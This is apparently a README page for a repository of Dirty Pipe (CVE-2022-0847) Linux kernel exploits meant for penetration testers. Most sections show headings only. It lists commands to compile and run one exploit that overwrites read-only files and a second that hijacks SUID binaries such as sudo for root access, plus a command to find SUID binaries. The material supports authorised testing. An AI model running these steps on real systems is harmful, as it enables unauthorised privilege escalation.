Home

Awesome

Dirty Pipe

CVE-2022-0847-DirtyPipe-Exploits

A collection of exploits and documentation for penetration testers and red teamers that can be used to aid the exploitation of the Linux Dirty Pipe vulnerability.

About The Vulnerability

Affected versions

DirtyPipe Vulnerability Scanner

Compiling the exploit

sudo apt-get install gcc
chmod +x compile.sh
./compile.sh

Exploit-1 - Modifying/overwriting read only files

Running the exploit binary

./exploit-1

Exploit-2 - Hijacking SUID binaries

Finding SUID binaries

find / -perm -4000 2>/dev/null

Running the exploit binary

./exploit-2 /usr/bin/sudo

Important Note

Credits